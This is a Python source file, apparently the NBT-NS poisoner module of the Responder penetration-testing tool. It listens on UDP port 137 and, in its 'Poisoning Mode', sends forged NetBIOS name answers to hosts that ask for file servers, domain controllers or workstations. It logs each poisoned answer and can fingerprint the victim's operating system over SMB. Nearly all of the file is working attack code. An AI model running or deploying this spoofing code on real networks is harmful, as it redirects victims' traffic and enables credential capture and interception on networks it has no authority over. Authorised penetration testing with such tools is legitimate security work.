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100 lines
3.0 KiB
Python
100 lines
3.0 KiB
Python
#!/usr/bin/env python
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# This file is part of Responder
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# Original work by Laurent Gaffie - Trustwave Holdings
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#
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# This program is free software: you can redistribute it and/or modify
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# it under the terms of the GNU General Public License as published by
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# the Free Software Foundation, either version 3 of the License, or
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# (at your option) any later version.
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#
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# This program is distributed in the hope that it will be useful,
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# but WITHOUT ANY WARRANTY; without even the implied warranty of
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# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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# GNU General Public License for more details.
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#
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# You should have received a copy of the GNU General Public License
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# along with this program. If not, see <http://www.gnu.org/licenses/>.
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import socket
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import threading
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import core.responder.settings as settings
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import core.responder.fingerprint as fingerprint
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from core.responder.packets import NBT_Ans
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from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer
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from core.responder.utils import *
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def start():
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try:
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server = ThreadingUDPServer(('', 137), NBTNSServer)
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t = threading.Thread(name='NBTNS', target=server.serve_forever)
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t.setDaemon(True)
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t.start()
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except Exception as e:
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print "Error starting NBTNS server on port 137: {}".format(e)
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class ThreadingUDPServer(ThreadingMixIn, UDPServer):
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allow_reuse_address = 1
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def server_bind(self):
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if OsInterfaceIsSupported():
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try:
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self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
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except:
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pass
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UDPServer.server_bind(self)
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# Define what are we answering to.
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def Validate_NBT_NS(data):
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if settings.Config.AnalyzeMode:
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return False
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if NBT_NS_Role(data[43:46]) == "File Server":
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return True
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if settings.Config.NBTNSDomain == True:
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if NBT_NS_Role(data[43:46]) == "Domain Controller":
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return True
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if settings.Config.Wredirect == True:
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if NBT_NS_Role(data[43:46]) == "Workstation/Redirector":
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return True
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else:
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return False
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# NBT_NS Server class.
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class NBTNSServer(BaseRequestHandler):
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def handle(self):
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data, socket = self.request
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Name = Decode_Name(data[13:45])
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# Break out if we don't want to respond to this host
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if RespondToThisHost(self.client_address[0], Name) is not True:
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return None
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if data[2:4] == "\x01\x10":
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if settings.Config.Finger_On_Off:
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Finger = fingerprint.RunSmbFinger((self.client_address[0],445))
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else:
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Finger = None
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# Analyze Mode
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if settings.Config.AnalyzeMode:
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settings.Config.AnalyzeLogger.warning("{} [Analyze mode: NBT-NS] Request for {}, ignoring".format(self.client_address[0], Name))
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# Poisoning Mode
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else:
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Buffer = NBT_Ans()
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Buffer.calculate(data)
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socket.sendto(str(Buffer), self.client_address)
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settings.Config.PoisonersLogger.warning("{} [NBT-NS] Poisoned answer for name {} (service: {})" .format(self.client_address[0], Name, NBT_NS_Role(data[43:46])))
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if Finger is not None:
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settings.Config.ResponderLogger.info("[FINGER] OS Version : {}".format(Finger[0]))
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settings.Config.ResponderLogger.info("[FINGER] Client Version : {}".format(Finger[1]))
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